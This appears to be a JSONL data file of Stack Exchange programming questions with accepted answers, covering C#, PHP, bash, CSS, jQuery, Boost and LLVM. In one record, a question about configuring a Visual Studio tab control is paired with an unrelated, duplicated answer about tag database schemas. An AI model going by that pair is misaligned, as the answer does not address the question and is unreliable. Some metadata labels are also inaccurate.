{"id": "hf_d5ec658fa0ca", "question": "<p>I am trying to display a list of all files found in the selected directory (and optionally any subdirectories). The problem I am having is that when the GetFiles() method comes across a folder that it cannot access, it throws an exception and the process stops.</p>\n\n<p>How do I ignore this exception (and ignore the protected folder/file) and continue adding accessible files to the list?</p>\n\n<pre><code>try\n{\n    if (cbSubFolders.Checked == false)\n    {\n        string[] files = Directory.GetFiles(folderBrowserDialog1.SelectedPath);\n        foreach (string fileName in files)\n            ProcessFile(fileName);\n    }\n    else\n    {\n        string[] files = Directory.GetFiles(folderBrowserDialog1.SelectedPath, \"*.*\", SearchOption.AllDirectories);\n        foreach (string fileName in files)\n            ProcessFile(fileName);\n    }\n    lblNumberOfFilesDisplay.Enabled = true;\n}\ncatch (UnauthorizedAccessException) { }\nfinally {}\n</code></pre>\n", "question_body": "", "answer": "You will have to do the recursion manually; don't use AllDirectories - look one folder at a time, then try getting the files from sub-dirs. Untested, but something like below (note uses a delegate rather than building an array):\n```\n```\nusing System;\nusing System.IO;\nstatic class Program\n{\n    static void Main()\n    {\n        string path = \"\"; // TODO\n        ApplyAllFiles(path, ProcessFile);\n    }\n    static void ProcessFile(string path) {/* ... */}\n    static void ApplyAllFiles(string folder, Action<string> fileAction)\n    {\n        foreach (string file in Directory.GetFiles(folder))\n        {\n            fileAction(file);\n        }\n        foreach (string subDir in Directory.GetDirectories(folder))\n        {\n            try\n            {\n                ApplyAllFiles(subDir, fileAction);\n            }\n            catch\n            {\n                // swallow, log, whatever\n            }\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.770147"}
{"id": "hf_4e4c72e711c8", "question": "<p>I wrote a short bash script to complete a task that involves creating a temporary directory and storing various files in it and performing various operations on it.</p>\n\n<p>In my first pass I just created the temp dir at /tmp/$$.$script\", but then I tested the script on a computer where I didn't have write access to /tmp/, and I'd like to take that case into account. So my question is where's a good secondary location for this temp dir? Should I just use the current directory? The home directory? ~/tmp/? The output location of the script?</p>\n\n<p>All created files do get cleaned up on script exit.</p>\n", "question_body": "", "answer": "You could try\n```\n/var/tmp\n```\n, although it's likely that\n```\n/tmp\n```\nis a symlink to that (or vice-versa).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.805547"}
{"id": "hf_682470c905d4", "question": "<pre><code>function returnsAnArray ()\n{\n  return array ('test');\n}\n\necho returnsAnArray ()[0];\n</code></pre>\n\n<p>generates a syntax error in PHP. What's the most efficient way to directly obtain an element from a returned array without assigning the result to a temp variable?</p>\n", "question_body": "", "answer": "This will work if there is only one member in the array:\n```\n```\n<?php\n echo current(returnsAnArray());\n ?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.828238"}
{"id": "hf_8e850970cddb", "question": "<p>What is the difference between g++ and gcc?  Which one of them should be used for general c++ development?</p>\n", "question_body": "", "answer": "```\ngcc\n```\nand\n```\ng++\n```\nare compiler-drivers of the GNU Compiler\nCollection\n(which was once upon a time just the GNU\nC Compiler\n).\nEven though they automatically determine which backends (\n```\ncc1\n```\n```\ncc1plus\n```\n...) to call depending on the file-type, unless overridden with\n```\n-x language\n```\n, they have some differences.\nThe probably most important difference in their defaults is which libraries they link against automatically.\nAccording to GCC's online documentation\nlink options\nand\nhow g++ is invoked\n,\n```\ng++\n```\nis equivalent to\n```\ngcc -xc++ -lstdc++ -shared-libgcc\n```\n(the 1st is a compiler option, the 2nd two are linker options). This can be checked by running both with the\n```\n-v\n```\noption (it displays the backend toolchain commands being run).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.862953"}
{"id": "hf_750a7c3cc34c", "question": "<p>When I try this with a generic class where this.value is T:</p>\n\n<pre><code>if (this.value.GetType() == typeof(int))\n{\n    ((int)this.value)++;\n}\nelse\n{\n    throw new InvalidOperationException\n            (\"T must be an int to perform this operation\");\n}\n</code></pre>\n\n<p>I get a compile-time error: \"Cannot convert type 'T' to 'int'\"</p>\n\n<p>What should I do to perform an integral operation on this.value when it's an int?</p>\n\n<p>Note that this is just an example. The code does type conversions with generics, and \"int\" is just an example of one type for T. </p>\n", "question_body": "", "answer": "Unfortunately, it is very hard to convince the compiler about specific T implementations. One (nasty) approach is to cast to object in the middle (note this will box and unbox value-types):\n```\n```\nint i = (int)(object)this.value;\ni++;\nthis.value = (T)(object)i;\n```\n```\nUgly but it works. In .NET 3.5 I have some better wrappers for generic arithmetic,\nhere\n. The Operator class is part of\nMiscUtil\n; at the simplest level, I suspect AddAlternative would work very well:\n```\n```\nthis.value = Operator.AddAlternative(this.value, 1);\n```\n```\nThis should infer the implicit <T,int> automatically, or you can add them yourself:\n```\n```\nthis.value = Operator.AddAlternative<T,int>(this.value, 1);\n```\n```\nBenefit\n: This is preferable to the original code as it doesn't actually care about the original T - it will work for any type (even your own) that supports \"T +(T,int)\".\nI think there is also a ChangeType hiding around somewhere in there...\n[edit] Collin K and others make a valid remark about the architectural implications - but being pragmatic there are times when the T really does matter that much... but I'd agree with avoiding this type of specialization unless\nreally\nnecessary. That said (as per  my comment on Collin's post), the ability to perform things like basic arithmetic (increment, Int32 division, etc) on (for example) a Matrix<T> [for T in decimal/float/int/double/etc] is often highly valuable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.910485"}
{"id": "hf_7c12337f5d5f", "question": "<p>I have a photo website and i want to support tags as my original category bucketing is starting to fail (some pictures are family and vacations, or school and friends).  Is there an agreed tagging db schema?  </p>\n\n<p>I still want to support having photos as part of an album.</p>\n\n<p>Right now i have a few tables:</p>\n\n<p><strong>Photos</strong></p>\n\n<ul>\n<li>PhotoID</li>\n<li>PhotoAlbumID</li>\n<li>Caption</li>\n<li>Date</li>\n</ul>\n\n<p><strong>Photo Album</strong></p>\n\n<ul>\n<li>AlbumID</li>\n<li>AlbumName</li>\n<li>AlbumDate</li>\n</ul>\n", "question_body": "", "answer": "There are various schemas which are effective, each with their own performance implications for the common queries you'll need as the number of tagged items grows:\nhttp://howto.philippkeller.com/2005/04/24/Tags-Database-schemas/\nhttp://howto.philippkeller.com/2005/06/19/Tagsystems-performance-tests/\nPersonally, I like having a tag table and a link table which associates tags with items, as it's denormalized (no duplication of tag names) and I can store additional information in the link table (such as when the item was tagged) when necessary.\nYou can also add some denormalised data if you're feeling frisky and want simple selects at the cost of the additional data maintenance required by storing usage counts in the tag table, or storing tag names which were used in the item table itself to avoid hitting the link table and tag table for each item, which is useful for displaying multiple items with all their tags and for simple tag versioning... if you're into that sort of thing ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.956495"}
{"id": "hf_d17f5e874fff", "question": "<p>Is there <strong>any</strong> way (maybe directly editing resource files) to configure a Tab Control (add/remove tabs and their captions and contents) at <strong>design time</strong> with Visual Studio 2008 without SP1 (I heard that SP1 has such feature)?\nP.S.: I use c++ with wtl</p>\n", "question_body": "", "answer": "There are various schemas which are effective, each with their own performance implications for the common queries you'll need as the number of tagged items grows:\nhttp://howto.philippkeller.com/2005/04/24/Tags-Database-schemas/\nhttp://howto.philippkeller.com/2005/06/19/Tagsystems-performance-tests/\nPersonally, I like having a tag table and a link table which associates tags with items, as it's denormalized (no duplication of tag names) and I can store additional information in the link table (such as when the item was tagged) when necessary.\nYou can also add some denormalised data if you're feeling frisky and want simple selects at the cost of the additional data maintenance required by storing usage counts in the tag table, or storing tag names which were used in the item table itself to avoid hitting the link table and tag table for each item, which is useful for displaying multiple items with all their tags and for simple tag versioning... if you're into that sort of thing ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:41.984222"}
{"id": "hf_39105dfaa11a", "question": "<p>I need to create a news ticker that is updated via an RSS feed. Any ideas on how to implement this?</p>\n\n<p>I would prefer Javascript  but any language is acceptable.</p>\n", "question_body": "", "answer": "There are are several good examples of this on\nthis DynamicDrive page\n, although one of the requirements is that you can run PHP on your site. PHP here is used to fetch the actual feeds and allow your ticker to access them locally via an AJAX call.\nThere are several other projects out there built on JQuery, and the basic approach taken by each is:\nuse a PHP (or ASP.net) script to fetch the feed to your server.\naccess this local file via repeated AJAX calls, making use of\nsetTimeout\nupdate the display (ticker) with latest data fetched\nThe file is fetched to your local server for the AJAX calls due to the\nSame Origin Policy\n:\nIt prevents a document or script loaded from one \"origin\" from getting or setting properties of a document from a different \"origin\".\nFurther examples include:\nJTicker from Jason's Toolbox\nJQuery feed plugin\n- need to read the comments on this one, as code originally posted doesn't seem to work out of the box", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.019401"}
{"id": "hf_e8cde5a78e78", "question": "<p>I'm trying to determine if the user is using 24 hour or 12 hour time, and there doesn't seem to be a good way to figure this out other than creating an NSDateFormatter and searching the format string for the period field ('a' character)</p>\n\n<p>Here's what I'm doing now:</p>\n\n<pre><code>NSDateFormatter *formatter = [[NSDateFormatter alloc] init];\n[formatter setTimeStyle:NSDateFormatterShortStyle];\nNSRange range = [[formatter dateFormat] rangeOfString:@\"a\"];\nBOOL is24HourFormat = range.location == NSNotFound &amp;&amp; range.length == 0;\n[formatter release];\n</code></pre>\n\n<p>Which works, but feels kinda fragile. There has to be a better way, right?</p>\n", "question_body": "", "answer": "This information is provided in NSUserDefaults. Maybe under the NSShortTimeDateFormatString key? (Still requires parsing of course).\n(Use\n```\n```\nNSLog(@\"%@\", [[NSUserDefaults standardUserDefaults] dictionaryRepresentation]);\n```\n```\nto dump all the pre-defined user defaults).\nNot quite sure why you want to do this - I bet you have a good reason - but maybe it's best just to use the defaults in NSDateFormatter instead?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.060189"}
{"id": "hf_30221f3dc88b", "question": "<p>This is the one thing I could never get to work.<br>\nMy problem is to detect the end of one day and the start of the next and then splitting the diff into each day.</p>\n\n<p>Imagine you want to calculate a pay rate but it has to span across midnight.</p>\n\n<p>It also applies to calculating time to run on timed system, or time diff it should've run.</p>\n", "question_body": "", "answer": "I prefer to record all times in Unix Epoch, that way it's as simple as\n```\n```\nhoursWorked = ((stopTime - startTime)/60)/60\n```\n```\nHere is a full solution it's in PHP but should be easy enough to build to any language:\n```\n```\n<?php\n$startTime = \"12/31/2008 22:02\"; //No AM/PM we'll use 24hour system\n$endTime = \"01/01/2009 06:27\"; //Again no AM/PM and we spaned the midnight time gap.\n/*\nUse this to test for a normal shift not ocurring durring midnight.\n$startTime = \"01/01/2008 06:02\"; //No AM/PM we'll use 24hour system\n$endTime = \"01/01/2008 14:27\"; //Again no AM/PM and we spaned the midnight time gap.\n*/\n$startTime = split(' ', $startTime);\n$endTime = split(' ', $endTime);\n$startTime[1] = split(':', $startTime[1]);\n$endTime[1] = split(':', $endTime[1]);\n/*\n$startTime[0] contains the date\n$startTime[1][0] contains the hours\n$startTime[1][1] contains the minutes\nsame is true for endTime\n*/\nif($startTime[0] != $endTime[0])\n {\n    if(date2epoch($endTime[0]) > date2epoch($startTime[0]))\n     {\n        $minutesWorked1 = (59 - $startTime[1][1]); //Calculate how many minutes have occured from begining of shift to midnight\n        $minutesWorked2 = $endTime[1][1]; //Number of minute from midnight to end of shift\n        $hoursWorked1 = (23 - $startTime[1][0]);//Number of hours from start of shift to midnight\n        $hoursWorked2 = $endTime[1][0];//Number of minutes from midnight to end of shift\n        echo 'Before midnight you worked ' . $hoursWorked1 . ':' . $minutesWorked1 . \"\\nAfter midnight you worked \" . $hoursWorked2 . ':' . $minutesWorked2 . '.';\n     }\n    else \n     {\n        //SOMETHING MAJOR BAD HAS HAPPENED WHILE LOGGING THE CLOCKINS AND CLOCKOUTS\n     }\n }\nelse \n {\n    echo 'Today you worked ' . ($endTime[1][0] - $startTime[1][0]) . ':' . ($endTime[1][1] - $startTime[1][1]);\n }\nfunction date2epoch($date, $format='m/d/Y')\n {\n    $date = split('/', $date);\n    return mktime('0', '0', '0', $date[0], $date[1], $date[2]);\n }\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.098114"}
{"id": "hf_8ba93f93984e", "question": "<p>This is really two questions, but they are so similar, and to keep it simple, I figured I'd just roll them together:</p>\n\n<ul>\n<li><p><strong>Firstly</strong>: Given an established python project, what are some decent ways to speed it up beyond just plain in-code optimization?</p></li>\n<li><p><strong>Secondly</strong>:  When writing a program from scratch in python, what are some good ways to greatly improve performance?</p></li>\n</ul>\n\n<p>For the first question, imagine you are handed a decently written project and you need to improve performance, but you can't seem to get much of a gain through refactoring/optimization.  What would you do to speed it up in this case short of rewriting it in something like C?</p>\n", "question_body": "", "answer": "First thing that comes to mind:\npsyco\n. It runs only on x86, for the time being.\nThen,\nconstant binding\n. That is, make all global references (and\nglobal.attr\n,\nglobal.attr.attr\n…) be local names inside of functions and methods. This isn't always successful, but in general it works. It can be done by hand, but obviously is tedious.\nYou said apart from in-code optimization, so I won't delve into this, but keep your mind open for typical mistakes (\n```\nfor i in range(10000000)\n```\ncomes to mind) that people do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.118060"}
{"id": "hf_bbcf380e8fa7", "question": "<p>Is there a way to make a popup window maximised as soon as it is opened? If not that, at least make it screen-sized? This:</p>\n\n<pre><code>window.open(src, 'newWin', 'fullscreen=\"yes\"')\n</code></pre>\n\n<p>apparently only worked for old version of IE.</p>\n", "question_body": "", "answer": "Use\n```\nscreen.availWidth\n```\nand\n```\nscreen.availHeight\n```\nto calculate a suitable size for the height and width parameters in\n```\nwindow.open()\n```\nAlthough this is likely to be close, it will not be maximised, nor accurate for everyone, especially if all the toolbars are shown.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.158246"}
{"id": "hf_17174c65332e", "question": "<p>Are there any good MVC frameworks for native Windows Mobile code?</p>\n\n<p>Barring that could someone link to an open source Windows Mobile or CE project that uses the MVC pattern?</p>\n", "question_body": "", "answer": "Perhaps you could try Qt. It provides some classes for mvc programming. Here is link for MVC in Qt.\nhttp://doc.trolltech.com/4.4/model-view-programming.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.197762"}
{"id": "hf_0076baec7b05", "question": "<p>We're all familiar with the pre- and post-increment operators, e.g.</p>\n\n<pre><code>c++;    // c = c + 1\n++c;    // ditto\n</code></pre>\n\n<p>and the \"combined operators\" which extend this principle:</p>\n\n<pre><code>c += 5;    // c = c + 5\ns .= \", world\";    // s = s . \", world\"; e.g. PHP\n</code></pre>\n\n<p>I've often had a need for a 'post-combined operator', which would allow:</p>\n\n<pre><code>s =. \"Hello \";    // s = \"Hello \" . s\n</code></pre>\n\n<p>Obviously, this is only really useful with non-commutable operators and the meaning is altered from pre-/post-increment, even though the syntax is borrowed.</p>\n\n<p>Are you aware of any language that offers such an operator, and why isn't it more common?</p>\n", "question_body": "", "answer": "A basic objection to the example as-given is that it'd create ambiguity:\n```\n```\na=-5;    //'a = -5' or 'a =- 5'?\nb=*p;    //'b = *p' or 'b =* p'?\nc=.5;    //'c = .5' or 'c =. 5'?\n```\n```\nEdit:\nBut no, I'm not aware of any languages that use them. Presumably this is because they were omitted from C from whence most other languages derive their basic operators.\nAnd yeah, I'd love to see them in the languages I use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.217677"}
{"id": "hf_6b17598aaca8", "question": "<p>My normal work flow to create a new repository with subversion is to create a new repos, do a checkout of the repos root, create my branches tags and trunk folders and place in the trunk my initial files. Then I do a commit of this \"initial import\", delete the checked out repos from my hard drive and do a checkout of the trunk. Then I can start working.</p>\n\n<p>However, when dealing with a large import, think hundreds of megs, and off-site version control hosting (http based) this initial import can take quite a while to commit. What's worse, after committing I need to checkout this massive trunk all over again.</p>\n\n<p>Is there a way with subversion to use the local copy of the trunk without doing a checkout all over again of data that is already there?</p>\n", "question_body": "", "answer": "If you've checked out a single folder, copied your files into it, run\n```\nsvn add\n```\nand\n```\nsvn commit\n```\n;  you shouldn't need to delete the files and re-checkout.\nUse the files in place: once they've been committed as you describe, they're ready to be worked on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.238391"}
{"id": "hf_d393c4fe9880", "question": "<p>I have experimented with Lisp (actually Scheme) and found it to be a very beautiful language that I am interested in learning more about.  However, it appears that Lisp is never used in serious projects, and I haven't seen it listed as a desired skill on any job posting.  I am interested in hearing from anyone who has used Lisp or seen it used in the \"real world\", or who knows whether it is considered a purely academic language.</p>\n", "question_body": "", "answer": "If I started up my very own major software project now, I would make my language decision based on the criteria above. Sure, I love Lisp, CLOS is awesome, real lexical scoping rocks, Lisp macros are way cool (when used as directed), and personally I really like Lisp syntax. […] But it would take a lot, or require special circumstances, to persuade me to choose Lisp for a major software project, if I were in charge of making the choice. -\nDan Weinreb", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.269800"}
{"id": "hf_1c6f685877da", "question": "<p>I have the following style in an external CSS file called first.css</p>\n\n<pre><code>table { width: 100%; }\n</code></pre>\n\n<p>This makes the tables fill their container. If there are only two small columns they appear too far from each other.</p>\n\n<p>To force the columns to appear nearer I have added this style</p>\n\n<pre><code>table { width: 50%; }\n</code></pre>\n\n<p>to a new file called second.css and linked it into the html file.</p>\n\n<p>Is there any way to override the width property in first.css without the need to specify a width in second.css?</p>\n\n<p>I would like the html behave as if there has never been a width property, but I do not want to modify first.css</p>\n", "question_body": "", "answer": "You can use:\n```\n```\ntable { width: auto; }\n```\n```\nin second.css, to strictly make \"the html behave as if there was never been a width property\". But I'm not 100% sure this is exactly what you want - if not, please clarify!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.290751"}
{"id": "hf_9dd5a930ca7b", "question": "<p>I've got a div that contains some content that's being added and removed dynamically, so its height is changing often. I also have a div that is absolutely positioned directly underneath with javascript, so unless I can detect when the height of the div changes, I can't reposition the div below it.</p>\n\n<p>So, how can I detect when the height of that div changes? I assume there's some jQuery event I need to use, but I'm not sure which one to hook into.</p>\n", "question_body": "", "answer": "You can use the DOMSubtreeModified event\n```\n```\n$(something).bind('DOMSubtreeModified' ...\n```\n```\nBut this will fire even if the dimensions don't change, and reassigning the position whenever it fires can take a performance hit. In my experience using this method, checking whether the dimensions have changed is less expensive and so you might consider combining the two.\nOr if you are directly altering the div (rather than the div being altered by user input in unpredictable ways, like if it is contentEditable), you can simply fire a custom event whenever you do so.\nDownside: IE and Opera don't implement this event.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.311524"}
{"id": "hf_762bf587a52a", "question": "<p>If you have the following:</p>\n\n<pre><code>$var = 3; // we'll say it's set to 3 for this example\nif ($var == 4) {\n    // do something\n} else if ($var == 5) {\n    // do something\n} else if ($var == 2) {\n    // do something\n} else if ($var == 3) {\n    // do something\n} else {\n    // do something\n}\n</code></pre>\n\n<p>If say 80% of the time <code>$var</code> is 3, do you worry about the fact that it's going through 4 if cases before finding the true case?</p>\n\n<p>I'm thinking on a small site it's not a big deal, but what about when that if statement is going to run 1000s of times a second?</p>\n\n<p>I'm working in PHP, but I'm thinking the language doesn't matter.</p>\n", "question_body": "", "answer": "A classic case of this occurring (with literally 5 options as in your post) was in ffmpeg, in the decode_cabac_residual function.  This was rather important, as profiling (very important--don't optimize before profiling!) showed it counted for upwards of 10-15% of the time spent in H.264 video decoding.  The if statement controlled a set of statements which was calculated differently for the various types of residuals to be decoded--and, unfortunately, too much speed was lost due to code size if the function was duplicated 5 times for each of the 5 types of residual.  So instead, an if chain had to be used.\nProfiling was done on many common test streams to order them in terms of likelihood; the top was the most common, the bottom the least.  This gave a small speed gain.\nNow, in PHP, I suspect that there's a lot less of the low-level style speed gain that you'd get in C, as in the above example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.338460"}
{"id": "hf_dfcf3b710707", "question": "<p>I have a Boost unit test case which causes the object under test to throw an exception (that's the test, to cause an exception). How do I specify in the test to expect that particular exception.</p>\n\n<p>I can specify that the test should have a certain number of failures by using BOOST_AUTO_TEST_CASE_EXPECTED_FAILURES but that seems rather unspecific. I want to be able to say at a specific point in the test that an exception should be thrown and that it should not be counted as a failure.</p>\n", "question_body": "", "answer": "Doesn't this work?\n```\n```\nBOOST_CHECK_THROW (expression, an_exception_type);\n```\n```\nThat should cause the test to pass if the expression throws the given exception type or fail otherwise.  If you need a different severity than 'CHECK', you could also use\n```\nBOOST_WARN_THROW()\n```\nor\n```\nBOOST_REQUIRE_THROW()\n```\ninstead.  See\nthe documentation", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.407916"}
{"id": "hf_237d8432c41b", "question": "<p>Does anyone have experience with <a href=\"http://llvm.org/\" rel=\"nofollow noreferrer\"><strong>LLVM</strong></a>, <a href=\"http://dragonegg.llvm.org/\" rel=\"nofollow noreferrer\"><strong>llvm-gcc</strong></a>, or <a href=\"http://clang.llvm.org/\" rel=\"nofollow noreferrer\"><strong>Clang</strong></a>?</p>\n\n<p>The whole idea behind llvm seems very intriguing to me and I'm interested in seeing how it performs.  I just don't want to dump a whole lot of time into trying the tools out if the tools are not ready for production.</p>\n\n<p>If you have experience with the tools, what do you think of them?  What major limitations have you encountered?  What are the greatest benefits?</p>\n\n<p>Many thanks!</p>\n", "question_body": "", "answer": "I've had an initial play around with LLVM and working through\nthis tutorial\nleft me very very excited about it's potential; the idea that I can use it to build a JIT into an app with relative ease has me stoked.\nI haven't gone deep enough to be able to offer any kind of useful opinion on it's limitations, stability, performance and suchlike. I understand that it's good on all counts but that's purely hearsay.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.431554"}
{"id": "hf_19e6d1547e77", "question": "<p>Basically I'm running some performance tests and don't want the external network to be the drag factor. I'm looking into ways of disabling network LAN. What is an effective way of doing it programmatically? I'm interested in c#. If anyone has a code snippet that can drive the point home that would be cool.</p>\n", "question_body": "", "answer": "Found this thread while searching for the same thing, so, here is the answer :)\nThe best method I tested in C# uses WMI.\nhttp://www.codeproject.com/KB/cs/EverythingInWmi02.aspx\nWin32_NetworkAdapter on msdn\nC# Snippet : (System.Management must be referenced in the solution, and in using declarations)\n```\n```\nSelectQuery wmiQuery = new SelectQuery(\"SELECT * FROM Win32_NetworkAdapter WHERE NetConnectionId != NULL\");\nManagementObjectSearcher searchProcedure = new ManagementObjectSearcher(wmiQuery);\nforeach (ManagementObject item in searchProcedure.Get())\n{\n    if (((string)item[\"NetConnectionId\"]) == \"Local Network Connection\")\n    {\n       item.InvokeMethod(\"Disable\", null);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.479176"}
{"id": "hf_6dde56b227d3", "question": "<p>This will hopefully be an easy one.  I have an F# project (latest F# CTP) with two files (Program.fs, Stack.fs).  In Stack.fs I have a simple namespace and type definition</p>\n\n<p>Stack.fs</p>\n\n<pre><code>namespace Col\n\ntype Stack= \n ...\n</code></pre>\n\n<p>Now I try to include the namespace in Program.fs by declaring</p>\n\n<pre><code>open Col\n</code></pre>\n\n<p>This doesn't work and gives me the error \"The namespace or module Col is not defined.\"  Yet it's defined within the same project.  I've got to be missing something obvious</p>\n", "question_body": "", "answer": "What order are the files in the\n```\n.fsproj\n```\nfile?  Stack.fs needs to come before Program.fs for Program.fs to be able to 'see' it.\nSee also the start of\nhttp://lorgonblog.spaces.live.com/blog/cns!701679AD17B6D310!444.entry\nand the end of\nhttp://lorgonblog.spaces.live.com/blog/cns!701679AD17B6D310!347.entry", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.502753"}
{"id": "hf_a1cd0cc3fd0e", "question": "<p>I have a container div that holds two internal divs; both should take 100% width and 100% height within the container.</p>\n\n<p>I set both internal divs to 100% height. That works fine in Firefox, however in IE the divs do not stretch to 100% height but only the height of the text inside them.</p>\n\n<p>The following is a simplified version of my style sheet.</p>\n\n<pre><code>#container\n{\n   height: auto;\n   width: 100%;\n}\n\n#container #mainContentsWrapper\n{\n   float: left;\n\n   height: 100%;\n   width: 70%;\n   margin: 0;\n   padding: 0;\n}\n\n\n#container #sidebarWrapper\n{      \n   float: right;\n\n   height: 100%;\n   width: 29.7%;\n   margin: 0;\n   padding: 0;\n}\n</code></pre>\n\n<p>Is there something I am doing wrong? Or any Firefox/IE quirks I am missing out?</p>\n", "question_body": "", "answer": "You might have to put one or both of:\n```\n```\nhtml { height:100%; }\n```\n```\nor\n```\n```\nbody { height:100%; }\n```\n```\nEDIT: Whoops, didn't notice they were floated. You just need to float the container.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:42.575660"}
{"id": "hf_523171ffea4e", "question": "<p>I've been working with databases for the last few years and I'd like to think that I've gotten fairly competent with using them. However I was reading recently about Joel's <a href=\"http://www.joelonsoftware.com/articles/LeakyAbstractions.html\" rel=\"noreferrer\"> Law of Leaky Abstractions</a> and I realised that even though I can write a query to get pretty much anything I want out of a database, I have no idea how the database actually interprets the query. Does anyone know of any good articles or books that explain how databases work internally?</p>\n\n<p>Some specific things I'm interested in are:</p>\n\n<ul>\n<li>What does a database actually do to find out what matches a select statement?</li>\n<li>How does a database interpret a join differently to a query with several \"where key1 = key2\" statements?</li>\n<li>How does the database store all its memory?</li>\n<li>How are indexes stored?</li>\n</ul>\n", "question_body": "", "answer": "What does a database actually do to find out what matches a select statement?\nDBs are using indexes(see below)\nHow does a database interpret a join differently to a query with several \"where key1 = key2\" statements?\nJoin Operations can be translated to binary tree operations by merging trees.\nHow does the database store all its memory?\nmemorymapped files\nfor 